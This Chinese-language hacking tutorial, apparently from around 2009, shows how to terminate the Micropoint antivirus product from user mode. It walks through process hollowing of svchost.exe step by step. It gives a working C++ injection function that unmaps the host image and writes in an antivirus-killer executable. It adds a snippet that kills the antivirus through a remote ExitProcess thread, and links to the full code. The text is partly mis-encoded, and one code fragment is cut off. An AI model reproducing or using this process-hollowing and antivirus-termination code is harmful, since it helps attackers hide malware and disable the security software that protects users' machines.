Ring3下WX方法結(jié)束微點2009
微點的主動防御沒有攔截一些系統(tǒng)進程如csrss.exe, smss,exe, lsass.exe, svchost.exe, services.exe等的危險動作。因為這些進程通常是不危險的,我們要做的就是把它們中的某個變成危險進程,然后用這個危險進程猥褻微點。即用進程注入的方法把svhost.exe偷換成TerminateMP.exe(結(jié)束微點的程序),也就是所謂的借尸還魂。
操作步驟如下:
1.調(diào)用CretaeProcess函數(shù)創(chuàng)建第一個進程(svhost.exe),該進程處于suspend模式(記得參數(shù)CREATE_SUSPENDED ).
2.調(diào)用GetThreadContext函數(shù)獲取第一個進程的各個寄存器值.其中EBX的值指向的就是該進程的PEB,EAX寄存器保存了該進程的入口點 (entry point)
3.從PEB中獲取該進程的 base_address, [ebx+8]的值
lkd> dt _peb ntdll!_PEB +0x000 InheritedAddressSpace : UChar +0x001 ReadImageFileExecOptions : UChar +0x002 BeingDebugged : UChar +0x003 SpareBool : UChar +0x004 Mutant : Ptr32 Void +0x008 ImageBaseAddress : Ptr32 Void //映像基址 ... ... |
4.把第二個進程(TerminateMP.exe)讀入到內(nèi)存中,用ReadFile函數(shù)調(diào)用即可,注意如果文件對齊和內(nèi)存對齊不一樣的話,必須做必要的對齊操作.
5.如果第二個進程和第一個進程有相同的基地址(base-address),并且第二個進程的大小小于第一個進程,則只要簡單的調(diào)用WriteProcessMemory函數(shù)覆蓋掉第一個進程的進程空間,然后恢復(fù)運行即可.
6.否則的話,先調(diào)用ZwUnmapViewOfSection把第一個進程的鏡像映射去掉,該函數(shù)由ntdll.dll導(dǎo)出.然后調(diào)用VertualAllocEX函數(shù)在第一個進程內(nèi)存空間里面申請足夠大的內(nèi)存.然后拷貝第二個進程的鏡像到該空間(利用WriteProcessMemory函數(shù))
7.假如調(diào)用ZwUnmapViewOfSection操作失敗,但是第二個exe是可重定位的.則可以在第一個進程空間里面的任何位置開始申請足夠大的空間,在該分配的空間對第二個進程進行重定位.然后拷貝重定位后的exe到第一個進程空間里,開始位置就是申請的空間位置.
8.用第二個進程(TerminateMP.exe)的base-address修正PEB中相應(yīng)的值,位置是[ebx+8]
9.用EAX設(shè)置第二個進程( TerminateMP.exe )的入口點地址
10.調(diào)用SetThreadContext函數(shù)修正
11.調(diào)用ResumeThread函數(shù)恢復(fù)svhost.exe運行.
實現(xiàn)代碼可以參考 http://bbs.pediy.com/showthread.php?t=41873
這里提供一份更簡短的代碼,便于看清操作過程
BOOL InjectProcess(LPTSTR VictimFile,LPTSTR InjectExe) { HANDLE hFile; DWORD dwFileSize; //文件大小 IMAGE_DOS_HEADER DosHeader; IMAGE_NT_HEADERS NtHeader; PROCESS_INFORMATION pi; STARTUPINFO si; CONTEXT context; PVOID ImageBase; unsigned long ImageSize; unsigned long BaseAddr; unsigned long retByte = 0; LONG offset; HMODULE hNtDll=GetModuleHandle("ntdll.dll"); if(!hNtDll) return FALSE; ZWUNMAPVIEWOFSECTION ZwUnmapViewOfSection = (ZWUNMAPVIEWOFSECTION)GetProcAddress(hNtDll, "ZwUnmapViewOfSection"); memset(&si, 0, sizeof(si)); memset(&pi, 0, sizeof(pi)); si.cb = sizeof(si); hFile = ::CreateFile(InjectExe,GENERIC_READ,FILE_SHARE_READ| FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL); if (hFile == INVALID_HANDLE_VALUE) { return FALSE; } ::SetFilePointer(hFile, 0, NULL, FILE_BEGIN); dwFileSize = ::GetFileSize(hFile, NULL); LPBYTE pBuf = new BYTE[dwFileSize]; memset(pBuf, 0, dwFileSize); DWORD dwNumberOfBytesRead = 0; ::ReadFile( hFile , pBuf , dwFileSize , &dwNumberOfBytesRead , NULL ); ::CopyMemory((void *)&DosHeader,pBuf,sizeof(IMAGE_DOS_HEADER)); ::CopyMemory((void *)&NtHeader,&pBuf[DosHeader.e_lfanew],sizeof(IMAGE_NT_HEADERS)); //檢查PE結(jié)構(gòu) //以掛起方式進程 BOOL res = CreateProcess(NULL,VictimFile,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL, NULL,&si,&pi); if (res) { context.ContextFlags = CONTEXT_FULL; if (!GetThreadContext(pi.hThread,&context)) //如果調(diào)用失敗 { CloseHandle(pi.hThread); CloseHandle(pi.hProcess); return FALSE; } ReadProcessMemory(pi.hProcess,(void *)(context.Ebx + 8),&BaseAddr,sizeof (unsigned long),NULL); if (!BaseAddr) { CloseHandle(pi.hThread); CloseHandle(pi.hProcess); return FALSE; } //拆卸傀儡進程內(nèi)存模塊 if (ZwUnmapViewOfSection((unsigned long)pi.hProcess,BaseAddr)) { CloseHandle(pi.hThread); CloseHandle(pi.hProcess); return FALSE; } ImageBase = VirtualAllocEx(pi.hProcess, (void *)NtHeader.OptionalHeader.ImageBase, NtHeader.OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE); //ImageBase 0x00400000 if (ImageBase == NULL) { DWORD wrongFlag = GetLastError(); CloseHandle(pi.hThread); CloseHandle(pi.hProcess); return FALSE; } //替換傀儡進程內(nèi)存數(shù)據(jù) if(!WriteProcessMemory(pi.hProcess, ImageBase, pBuf, NtHeader.OptionalHeader. SizeOfHeaders, &retByte)) { DWORD wrongFlag2 = GetLastError(); } //DOS 頭 + PE 頭 + 區(qū)塊表的總大小 //定位到區(qū)塊頭 offset = DosHeader.e_lfanew + sizeof(IMAGE_NT_HEADERS); IMAGE_SECTION_HEADER secHeader; WORD i = 0; for (;i < NtHeader.FileHeader.NumberOfSections;i++) { //定位到各個區(qū)塊 ::CopyMemory((void *)&secHeader, &pBuf[offset + i*sizeof(IMAGE_SECTION_HEADER)], sizeof(IMAGE_SECTION_HEADER)); WriteProcessMemory(pi.hProcess,(LPVOID)((DWORD)ImageBase + secHeader. VirtualAddress),&pBuf[secHeader.PointerToRawData],secHeader.SizeOfRawData,&retByte); VirtualProtectEx(pi.hProcess, (LPVOID)((DWORD)ImageBase + secHeader. VirtualAddress), secHeader.Misc.VirtualSize, PAGE_EXECUTE_READWRITE,&BaseAddr); } context.ContextFlags = CONTEXT_FULL; //重置 執(zhí)行文件入口 WriteProcessMemory(pi.hProcess, (void *)(context.Ebx + 8), &ImageBase, //4194304 4, &retByte); context.Eax = (unsigned long)ImageBase + NtHeader.OptionalHeader.AddressOfEntryPoint; SetThreadContext(pi.hThread,&context); ResumeThread(pi.hThread); } CloseHandle(pi.hThread); CloseHandle(pi.hProcess); ::CloseHandle(hFile); delete[] pBuf; return TRUE; } |
用以上方法啟動 TerminateMP.exe之后,系統(tǒng)中沒有TerminateMP.exe進程,只有被替換了的svhost.exe
在svhost.exe進程中可以輕松地用 OpenProcess打開微點的進程,但是要結(jié)束微點的進程還是很麻煩的(Ring3下)。某90后用創(chuàng)建遠程錯誤線程的方法達到了目的(這么挫的方法都想得出來)。
EnableDebugPriv(_T("SeDebugPrivilege")); HMODULE hModule = GetModuleHandle("kernel32.dll"); unsigned long FunAddr = (unsigned long)GetProcAddress(hModule,"ExitProcess"); for (int i=0;i |
完整代碼: 進程注入InjectProcess.rar 結(jié)束微點TerminateMP.rar
【編輯推薦】